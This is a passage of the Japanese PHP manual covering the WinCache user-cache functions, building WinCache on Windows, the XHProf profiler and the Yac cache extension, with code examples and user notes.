例2 wincache_ucache_get() で key に配列を使う例

<?php
$array1 = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'Blue', 'yellow', 'cyan');
var_dump(wincache_ucache_get($array2, $success));
var_dump($success);
?>

上の例の出力は以下となります。

array(4) { ["green"]=> string(1) "5"
           ["Blue"]=> string(1) "6"
           ["yellow"]=> string(1) "7"
           ["cyan"]=> string(1) "8" }
bool(true)

参考

  • wincache_ucache_add() - 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • __wakeup()

User Contributed Notes

don dot raman at microsoft dot com 09-Mar-2010 11:12
As per documentation PHP 5.2 doesn't support serialization of PHP internal classes. This means code below will not work:

<?php
$d = new DateTime();
$d->format(DateTime::W3C);
wincache_ucache_set( 'q1', $d );
var_dump( wincache_ucache_get( 'q1' )->format(DATE_ATOM));
?>

The output of above code will be (as of PHP5.2.13):
[11-Feb-2010 08:35:29] PHP Warning:  DateTime::format() [<a href='datetime.format'>datetime.format</a>]: The DateTime object has not been correctly initialized by its constructor in C:\inetpub\wwwroot\phptest\tests\ucache\wincache8.php on line 5
And last var_dump will return bool(false).


キーに関連づけられた値を増加させる

  • ≪ wincache_ucache_get
  • wincache_ucache_info ≫
  • PHP Manual
  • WinCache 関数
  • キーに関連づけられた値を増加させる

wincache_ucache_inc

(PECL wincache >= 1.1.0)

wincache_ucache_inc — キーに関連づけられた値を増加させる

説明

wincache_ucache_inc ( string $key , int $inc_by = 1 , bool &$success = ? ) : mixed

key に関連づけられた値を、1 あるいは inc_by で指定した数だけ増やします。

パラメータ

key

変数をキャッシュに格納するときに使ったキーの名前。 key は大文字小文字を区別します。

inc_by

key に関連づけられた変数の増加幅。 浮動小数点数を指定した場合は、最も近い整数に丸められます。 key に関連づけられた変数は long 型でなければならず、 それ以外の場合はこの関数は失敗して false を返します。

success

成功した場合に true、失敗した場合に false が設定されます。

返り値

成功した場合に増加後の値、失敗した場合に false を返します。

例

例1 wincache_ucache_inc() の使用法

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_inc('counter', 2921, $success));
var_dump($success);
?>

上の例の出力は以下となります。

int(2922)
bool(true)

参考

  • wincache_ucache_dec() - キーに関連づけられた値を減少させる
  • wincache_ucache_cas() - 変数を古い値と比較して新しい値を代入する

User Contributed Notes

There are no user contributed notes for this page.


ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

  • ≪ wincache_ucache_inc
  • wincache_ucache_meminfo ≫
  • PHP Manual
  • WinCache 関数
  • ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

wincache_ucache_info

(PECL wincache >= 1.1.0)

wincache_ucache_info — ユーザーキャッシュにキャッシュされたファイルについての情報を取得する

説明

wincache_ucache_info ( bool $summaryonly = false , string $key = NULL ) : array|false

ユーザーキャッシュに格納されたデータについての情報を取得します。

パラメータ

summaryonly

返される配列に、ユーザーキャッシュの概要に加えて個々のキャッシュエントリの情報を含めるかどうか。

key

ユーザーキャッシュ内のエントリのキー。 これを指定すると、返される配列にはそのキャッシュエントリの情報だけを含むようになります。 これを指定せず、さらに summaryonly が false の場合は、 返される配列にはキャッシュ内のすべてのエントリについての情報を含むようになります。

返り値

ユーザーキャッシュについてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • total_cache_uptime - ユーザーキャッシュがアクティブになってからの経過秒数。
  • total_item_count - 現在ユーザーキャッシュに入っている要素の数。
  • is_local_cache - メタデータがローカルキャッシュ用のものである場合に true、 グローバルキャッシュ用のものである場合に false。
  • total_hit_count - キャッシュからファイルが取り出された回数。
  • total_miss_count - ファイルがキャッシュに見つからなかった回数。

  • ucache_entries - キャッシュされているアイテムに関する情報を含む配列。

    • key_name - データを保存する際に使うキーの名前。
    • value_type - キーに関連づけて格納する値の型。
    • use_time - ユーザーキャッシュ内でアクセスされてからの経過秒数。
    • last_check - ファイルの変更をチェックされてからの経過秒数。
    • is_session - indicates if the data is a session variable
    • ttl_seconds - データをキャッシュ内に残す残り時間。0 は無制限。
    • age_seconds - データがキャッシュに追加されてからのおよその経過時間。
    • hitcount - キャッシュからファイルが取り出された回数。

例

例1 wincache_ucache_info() の使用

<?php
wincache_ucache_get('green');
wincache_ucache_set('green', 2922);
wincache_ucache_get('green');
wincache_ucache_get('green');
wincache_ucache_get('green');
print_r(wincache_ucache_info());
?>

上の例の出力は以下となります。

Array
( ["total_cache_uptime"] => int(0)
  ["is_local_cache"] => bool(false)
  ["total_item_count"] => int(1)
  ["total_hit_count"] => int(3)
  ["total_miss_count"] => int(1)
  ["ucache_entries"] => Array(1)
    ( [1] => Array(6)
      (
        ["key_name"] => string(5) "green"
        ["value_type"] => string(4) "long"
        ["is_session"] => int(0)
        ["ttl_seconds"] => int(0)
        ["age_seconds"] => int(0)
        ["hitcount"] => int(3)
       )
    )
)

参考

  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 11:53
One thing to note is that 'is_local_cache' field returned as one of the metadata in the array for User Cache will always return boolean false as User Cache is always global and never local.


ユーザーキャッシュのメモリ使用状況についての情報を取得する

  • ≪ wincache_ucache_info
  • wincache_ucache_set ≫
  • PHP Manual
  • WinCache 関数
  • ユーザーキャッシュのメモリ使用状況についての情報を取得する

wincache_ucache_meminfo

(PECL wincache >= 1.1.0)

wincache_ucache_meminfo — ユーザーキャッシュのメモリ使用状況についての情報を取得する

説明

wincache_ucache_meminfo ( ) : array|false

ユーザーキャッシュによるメモリ使用状況についての情報を取得します。

返り値

ユーザーキャッシュのメモリ使用状況についてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • memory_total - ユーザーキャッシュ用に確保されたメモリのバイト数。
  • memory_free - ユーザーキャッシュで使える空きメモリのバイト数。
  • num_used_blks - ユーザーキャッシュが使っているメモリブロック数。
  • num_free_blks - ユーザーキャッシュで使える空きメモリブロック数。
  • memory_overhead - ユーザーキャッシュが内部的に使っているメモリのバイト数。

例

例1 wincache_ucache_meminfo() の例

<pre>
<?php
print_r(wincache_ucache_meminfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする

  • ≪ wincache_ucache_meminfo
  • wincache_unlock ≫
  • PHP Manual
  • WinCache 関数
  • 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする

wincache_ucache_set

(PECL wincache >= 1.1.0)

wincache_ucache_set — 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする

説明

wincache_ucache_set ( mixed $key , mixed $value , int $ttl = 0 ) : bool
wincache_ucache_set ( array $values , mixed $unused = NULL , int $ttl = 0 ) : bool

変数をユーザーキャッシュに追加します。変数が既にキャッシュに存在する場合はそれを上書きします。 追加あるいは更新された変数は、有効期限に達するか、 wincache_ucache_delete() あるいは wincache_ucache_clear() で削除されるまではキャッシュに残り続けます。

パラメータ

key

変数を格納するときに、この名前のキーを使います。 同じキーで既に変数が格納されているときは、元の値を新しい値で上書きします。 key には name => value のペアの配列を渡すこともできます。 この場合は name がキーとなります。 この形式を使えば複数の値を一度の操作でキャッシュに格納できるので、競合状態になることを防げます。

value

格納したい変数の値。ファイルハンドルのようなリソース型以外のすべてのデータ型をサポートしています。 最初のパラメータが配列の場合は、このパラメータは無視されます。 一般的な指針として、key に配列を渡す場合は value を null にしておきましょう。 value がオブジェクト、あるいはオブジェクトを含む配列である場合は、 オブジェクトがシリアライズされます。オブジェクトのシリアライズについての詳細は __sleep() を参照ください。

values

キーと値の連想配列。

ttl

変数のキャッシュ内での生存時間を秒単位で指定します。 ttl で指定した秒数が経過すると、 格納されている変数はキャッシュから削除されます。 このパラメータのデフォルト値は 0 で、これは wincache_ucache_delete() あるいは wincache_ucache_clear() で明示的に削除するまでキャッシュに残り続けることを意味します。

返り値

key が文字列のときは、成功した場合に true、失敗した場合に false を返します。

key が配列のときの返り値は、次のようになります。

  • 配列内のすべての name => value ペアが設定できた場合は、空の配列を返します。
  • 配列内の name => value ペアがひとつも設定できなかった場合は、false を返します。
  • 成功したペアと失敗したペアがある場合は、ユーザーキャッシュへの追加に失敗した name=>value ペアを含む配列を返します。

例

例1 wincache_ucache_set() で key を文字列にする例

<?php
$bar = 'BAR';
var_dump(wincache_ucache_set('foo', $bar));
var_dump(wincache_ucache_get('foo'));
$bar1 = 'BAR1';
var_dump(wincache_ucache_set('foo', $bar1));
var_dump(wincache_ucache_get('foo'));
?>

上の例の出力は以下となります。

bool(true)
string(3) "BAR"
bool(true)
string(3) "BAR1"

例2 wincache_ucache_set() で key を配列にする例

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

上の例の出力は以下となります。

array(0) {}
array(0) {}
string(1) "6"

参考

  • wincache_ucache_add() - 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • __sleep()

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 12:08
As of writing this note (PHP 5.3.1) serialization of closure is not allowed.

This means a code like the one below:

<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
wincache_ucache_set('foo3', $bar3);
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

Will throw exception:
[11-Feb-2010 09:25:33] PHP Fatal error:  Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php:6
Stack trace:
#0 C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php(6): wincache_ucache_set('foo3', Object(Closure))
#1 {main}
  thrown in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php on line 6

However one catch this exception like:
<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
try
{
    wincache_ucache_set('foo3', $bar3);
}
catch (Exception $e)
{
    var_dump($e->getMessage());
}
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

This will generate output as shown beloe:
string(41) "Serialization of 'Closure' is not allowed" NULL


指定したキーの排他ロックを解放する

  • ≪ wincache_ucache_set
  • Windows でのビルド ≫
  • PHP Manual
  • WinCache 関数
  • 指定したキーの排他ロックを解放する

wincache_unlock

(PECL wincache >= 1.1.0)

wincache_unlock — 指定したキーの排他ロックを解放する

説明

wincache_unlock ( string $key ) : bool

指定したキーに対して、wincache_lock() を使って取得した排他ロックを解放します。 別のプロセスがこのキーに対するロックをブロックされて待機している場合は、 そのプロセスがロックを取得できるようになります。

警告

wincache_lock() および wincache_unlock() を使っていると、FastCGI のようなマルチプロセス環境において PHP スクリプトがデッドロックを引き起こすことがあります。 本当にそれが必要である場合でない限り、これらの関数は使わないようにしましょう。 キャッシュ上でのさまざまな操作の大半は、これらの関数を使う必要のないものです。

パラメータ

key

ロックを解放したいキャッシュ内のキーの名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 wincache_unlock() の使用

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // 排他ロックを確保します
    ftruncate($fp, 0); // ファイルを切り詰めます
    fwrite($fp, "Write something here\n");
    wincache_unlock("lock_txt_lock"); // ロックを解放します
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

参考

  • wincache_lock() - 指定したキーで排他ロックを確保する
  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


Windows でのビルド

目次

  • 要件
  • コンパイルおよびビルド
  • ビルドの検証

User Contributed Notes

There are no user contributed notes for this page.


要件

WinCache 拡張モジュールのビルドには、以下が必要です。

  1. PHP のソースコード
  2. PHP のビルド環境
  3. WinCache のソースコード

最初のふたつについては、 » Windows での PHP のビルド に書かれている手順に従いましょう。

WinCache のソースコードは、 PECL 拡張モジュールをダウンロードする に書かれている指示に従って取得します。

User Contributed Notes

There are no user contributed notes for this page.


コンパイルおよびビルド

WinCache を Windows OS 上でコンパイル・ビルドする手順は次のとおりです。

  1. PHP のビルドに使うコマンドプロンプトを開く

  2. PHP ソースのルートフォルダに移動する

  3. 次のコマンドを実行する

    cscript.exe win32\build\buildconf.js

  4. 次のコマンドを実行する

    configure.bat --help
    この出力には新しいフラグ --enable-wincache が含まれています。

  5. 次のコマンドを実行する

    configure.js [all options used to build PHP] --enable-wincache
    --enable-wincache は、WinCache 拡張モジュールを正しくビルドするために必要な唯一の追加オプションです。 このオプションは、WinCache をビルドして PHP の dll にスタティックリンクします。 WinCache 拡張モジュールを単体の DLL とｈしてビルドするには、オプション --enable-wincache=shared を指定します。

  6. 次のコマンドを実行する

    nmake

User Contributed Notes

There are no user contributed notes for this page.


ビルドの検証

WinCache が正しくビルドできたことを確かめる手順は次のとおりです。

  1. PHP のバイナリがビルドされたフォルダに移動する

  2. 次のコマンドを実行する

    php.exe -n -d extension=php_wincache.dll -re wincache
    WinCache が正しくビルドされていれば、このコマンドは WinCache がサポートする INI ディレクティブと関数の一覧を出力します。

User Contributed Notes

There are no user contributed notes for this page.


階層型プロファイラ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Xhprof 関数
    • xhprof_disable — xhprof プロファイラを終了する
    • xhprof_enable — xhprof プロファイラを開始する
    • xhprof_sample_disable — xhprof サンプルプロファイラを終了する
    • xhprof_sample_enable — サンプリングモードでの XHProf プロファイリングを開始する

User Contributed Notes

Thanh Tung 24-Jul-2020 11:44
This extension is still maintained. It support PHP up to version 7.4. You can find it in the PECL repository: https://pecl.php.net/package/xhprof
patrickallaert at php dot net 02-Apr-2020 06:21
xhprof is still maintained at: https://github.com/patrickallaert/xhprof
troffed 06-Dec-2018 03:52
A profiler based on XHProf but for PHP7+ can be found at https://github.com/tideways/php-xhprof-extension
kisil-mike at ya dot ru 09-Jan-2018 07:35
not developing anymore, just for php up to 5.5. 5.6 or 7+ do not support :(
roland at mxchange dot org 23-Feb-2017 09:27
XHProf is also available on Github (the C/C++ code):
https://github.com/phacility/xhprof


はじめに

XHProf は、軽量で階層型な命令ベースのプロファイラです。 データ収集フェーズでは、呼び出し回数や プログラムの動的コールグラフ内の弧の包括的メトリクスを追跡します。 排他的メトリクス (実行時間や CPU 時間、メモリ使用量など) の計算は、レポーティングや後処理のフェーズで行います。 関数のプロファイルは、呼び出す側と呼び出される側に分けることができます。 XHProf が再帰関数を扱うときには、コールグラフ内での循環をデータ収集時に検出し、 循環を回避するために、再帰の実行のたびにその深さも含めた一意な名前をつけます。

XHProf には、シンプルな HTML ベースのユーザーインターフェイス (PHP で書かれたもの) が含まれています。 ブラウザ上でプロファイル結果を見られるので、結果を見たり他人と共有したりが簡単にできるようになります。 コールグラフの画像表示にも対応しています。

XHProf のレポートは、実行されたコードの構造を把握するのにも便利です。 レポートは階層構造になっているので、これを利用して、 たとえば特定の関数が呼ばれるに至るまでの関数呼び出しの流れをたどることもできます。

XHProf には、二回の実行結果を比較 ("diff" レポート) したり、複数回実行した結果を集約したりする機能もあります。 差分のレポートや集約レポートに関しても、単一の実行レポートと同様に 「フラット」な表示と「階層型」の表示でプロファイルを確認できます。

詳細な情報は » xhprof の facebook ページ を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


要件

必須ではありませんが、xhprof には PHP で書かれたインターフェイスが含まれています。 これを使うと、プロファイル結果のデータを保存したり表示したり便利に使えます。 閲覧にはウェブブラウザーを使います。なので、PHP が使えるウェブサーバーを用意しておけば xhprof をより便利に使えるでしょう。

また、GUI インターフェイスのフォークが » http://github.com/preinheimer/xhprof にあります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/xhprof

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Xhprof 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
xhprof.output_dir | "" | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

xhprof.output_dir string

iXHProfRuns インターフェイスのデフォルト実装 (つまり XHProfRuns_Default クラス) が、 XHProf の実行結果の保存に使うディレクトリ。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

XHPROF_FLAGS_NO_BUILTINS (int)
すべての組み込み関数 (内部関数) をスキップします。
XHPROF_FLAGS_CPU (int)
CPU のプロファイル情報を出力に含めます。
XHPROF_FLAGS_MEMORY (int)
メモリのプロファイル情報を出力に含めます。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 オプションの GUI を使った Xhprof の例

この例では、プロファイラを開始して終了させた後に、 組み込みの GUI を使って結果を保存してパースします。 つまり、拡張モジュール自身のコードは、 xhprof_disable() を呼び出した時点で終わります。

<?php
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);

for ($i = 0; $i <= 1000; $i++) {
    $a = $i * $i;
}

$xhprof_data = xhprof_disable();

$XHPROF_ROOT = "/tools/xhprof/";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_lib.php";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing");

echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n";

?>

上の例の出力は、 たとえば以下のようになります。

http://localhost/xhprof/xhprof_html/index.php?run=t11_4bdf44d21121f&source=xhprof_testing

User Contributed Notes

There are no user contributed notes for this page.


Xhprof 関数

目次

  • xhprof_disable — xhprof プロファイラを終了する
  • xhprof_enable — xhprof プロファイラを開始する
  • xhprof_sample_disable — xhprof サンプルプロファイラを終了する
  • xhprof_sample_enable — サンプリングモードでの XHProf プロファイリングを開始する

User Contributed Notes

There are no user contributed notes for this page.


xhprof プロファイラを終了する

  • ≪ Xhprof 関数
  • xhprof_enable ≫
  • PHP Manual
  • Xhprof 関数
  • xhprof プロファイラを終了する

xhprof_disable

(PECL xhprof >= 0.9.0)

xhprof_disable — xhprof プロファイラを終了する

説明

xhprof_disable ( ) : array

プロファイラを終了して、xhprof の実行結果データを返します。

パラメータ

この関数にはパラメータはありません。

返り値

実行結果の xhprof データを配列で返します。

例

例1 xhprof_disable() の例

<?php
xhprof_enable();

$foo = strlen("foo bar");

$xhprof_data = xhprof_disable();

print_r($xhprof_data);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [main()==>strlen] => Array
        (
            [ct] => 1
            [wt] => 279
        )

    [main()==>xhprof_disable] => Array
        (
            [ct] => 1
            [wt] => 9
        )

    [main()] => Array
        (
            [ct] => 1
            [wt] => 610
        )

)

User Contributed Notes

FatBat 17-Oct-2014 04:18
Raw output snippet with, XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY.

[main()] => Array
(
    [ct] => 1                // number of calls.
    [wt] => 419              // wall/wait time (ms).
    [cpu] => 0               // cpu time.
    [mu] => 8264             // memory usage (bytes).
    [pmu] => 0               // peak memory usage.
)


xhprof プロファイラを開始する

  • ≪ xhprof_disable
  • xhprof_sample_disable ≫
  • PHP Manual
  • Xhprof 関数
  • xhprof プロファイラを開始する

xhprof_enable

(PECL xhprof >= 0.9.0)

xhprof_enable — xhprof プロファイラを開始する

説明

xhprof_enable ( int $flags = 0 , array $options = ? ) : void

xhprof のプロファイリングを開始します。

パラメータ

flags

オプションのフラグで、プロファイル用の追加情報を指定します。フラグの詳細な情報は XHprof 定数 を参照ください。たとえば XHPROF_FLAGS_MEMORY はメモリのプロファイリングを有効にします。

options

オプション項目の配列。つまり、 'ignored_functions' オプションで関数を渡すと、 その関数のプロファイリングを無視したりできます。

返り値

null

変更履歴

バージョン | 説明
PECL xhprof 0.9.2 | オプションのパラメータ options が追加されました。

例

例1 xhprof_enable() の例

<?php
// 1. elapsed time + memory + CPU profiling; and ignore built-in (internal) functions
xhprof_enable(XHPROF_FLAGS_NO_BUILTINS | XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);

// 2. elapsed time profiling; ignore call_user_func* during profiling
xhprof_enable(
    0,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));

// 3. elapsed time + memory profiling; ignore call_user_func* during profiling
xhprof_enable(
    XHPROF_FLAGS_MEMORY,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));
?>

参考

  • xhprof_disable() - xhprof プロファイラを終了する
  • xhprof_sample_enable() - サンプリングモードでの XHProf プロファイリングを開始する
  • memory_get_usage() - PHP に割り当てられたメモリの量を返す
  • getrusage() - 現在のリソース使用状況を取得する

User Contributed Notes

Vladimir Kovpak 08-Nov-2015 10:43
<?php

// You can optionally profile CPU time and/or memory usage:
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);


xhprof サンプルプロファイラを終了する

  • ≪ xhprof_enable
  • xhprof_sample_enable ≫
  • PHP Manual
  • Xhprof 関数
  • xhprof サンプルプロファイラを終了する

xhprof_sample_disable

(PECL xhprof >= 0.9.0)

xhprof_sample_disable — xhprof サンプルプロファイラを終了する

説明

xhprof_sample_disable ( ) : array

サンプルモードの xhprof プロファイラを終了します。

パラメータ

この関数にはパラメータはありません。

返り値

xhprof のサンプルデータの配列を返します。

例

例1 xhprof_sample_disable() の例

<?php
xhprof_sample_enable();

for ($i = 0; $i <= 10000; $i++) {
    $a = strlen($i);
    $b = $i * $a;
    $c = rand();
}

$xhprof_data = xhprof_sample_disable();

print_r($xhprof_data);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [1272935300.800000] => main()
    [1272935300.900000] => main()
)

User Contributed Notes

There are no user contributed notes for this page.


サンプリングモードでの XHProf プロファイリングを開始する

  • ≪ xhprof_sample_disable
  • Yac ≫
  • PHP Manual
  • Xhprof 関数
  • サンプリングモードでの XHProf プロファイリングを開始する

xhprof_sample_enable

(PECL xhprof >= 0.9.0)

xhprof_sample_enable — サンプリングモードでの XHProf プロファイリングを開始する

説明

xhprof_sample_enable ( ) : void

サンプルモードでのプロファイルを開始します。これは xhprof_enable() の軽量版です。 サンプリング間隔は 0.1 秒で、完全な関数のコールスタックを記録します。 主な使い道は、パフォーマンス監視や調査などでオーバーヘッドを極力抑えたい場合です。

パラメータ

この関数にはパラメータはありません。

返り値

null

参考

  • xhprof_sample_disable() - xhprof サンプルプロファイラを終了する
  • xhprof_enable() - xhprof プロファイラを開始する
  • memory_get_usage() - PHP に割り当てられたメモリの量を返す
  • getrusage() - 現在のリソース使用状況を取得する

User Contributed Notes

There are no user contributed notes for this page.


Yac

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Yac — The Yac class
    • Yac::add — Store into cache
    • Yac::__construct — Constructor
    • Yac::delete — Remove items from cache
    • Yac::dump — Dump cache
    • Yac::flush — Flush the cache
    • Yac::get — Retrieve values from cache
    • Yac::__get — Getter
    • Yac::info — Status of cache
    • Yac::set — Store into cache
    • Yac::__set — Setter

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Yac (Yet Another cache), is a lock-free, shared memory user data cache, could be used to replace APC, local memcache.

User Contributed Notes

There are no user contributed notes for this page.


要件

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/yac.

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Yac 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
yac.compress_threshold | -1 | PHP_INI_SYSTEM |
yac.debug | 0 | PHP_INI_ALL |
yac.enable | 1 | PHP_INI_SYSTEM |
yac.enable_cli | 0 | PHP_INI_SYSTEM |
yac.keys_memory_size | 4M | PHP_INI_SYSTEM |
yac.serializer | php | PHP_INI_SYSTEM |
yac.values_memory_size | 64M | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

yac.compress_threshold int

yac.debug int

yac.enable int

yac.enable_cli int

yac.keys_memory_size string

yac.serializer string

yac.values_memory_size string

User Contributed Notes

There are no user contributed notes for this page.


リソース型

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

YAC_VERSION (string)
YAC_MAX_KEY_LEN (int)
Max length of a key could be, it is 48 bytes.
YAC_MAX_VALUE_RAW_LEN (int)
YAC_MAX_RAW_COMPRESSED_LEN (int)
YAC_SERIALIZER_PHP (int)
Use php serialize as serializer
YAC_SERIALIZER_JSON (int)
Use json as serializer(requrie --enable-json)
YAC_SERIALIZER_IGBINARY (int)
Use igbinary as serializer(require --enable-igbinary)
YAC_SERIALIZER_MSGPACK (int)
Use msgpack as serializer(require --enable-msgpack)
YAC_SERIALIZER (string)
Which serialzier is yac used

User Contributed Notes

There are no user contributed notes for this page.


The Yac class

(PECL yac >= 1.0.0)

はじめに

クラス概要

Yac {
/* プロパティ */
protected $_prefix ;
/* メソッド */
public __construct ( string $prefix = "" )
public add ( string $keys , mixed $value , int $ttl = 0 ) : bool
public add ( array $key_vals ) : bool
public delete ( string|array $keys , int $ttl = ? ) : bool
public dump ( int $$num ) : mixed
public flush ( ) : bool
public get ( string|array $key , int &$cas = null ) : mixed
public __get ( string $key ) : mixed
public info ( ) : array
public set ( string $keys , mixed $value , int $ttl = 0 ) : bool
public add ( array $key_vals ) : bool
public __set ( string $keys , mixed $value ) : mixed
}

プロパティ

_prefix

目次

  • Yac::add — Store into cache
  • Yac::__construct — Constructor
  • Yac::delete — Remove items from cache
  • Yac::dump — Dump cache
  • Yac::flush — Flush the cache
  • Yac::get — Retrieve values from cache
  • Yac::__get — Getter
  • Yac::info — Status of cache
  • Yac::set — Store into cache
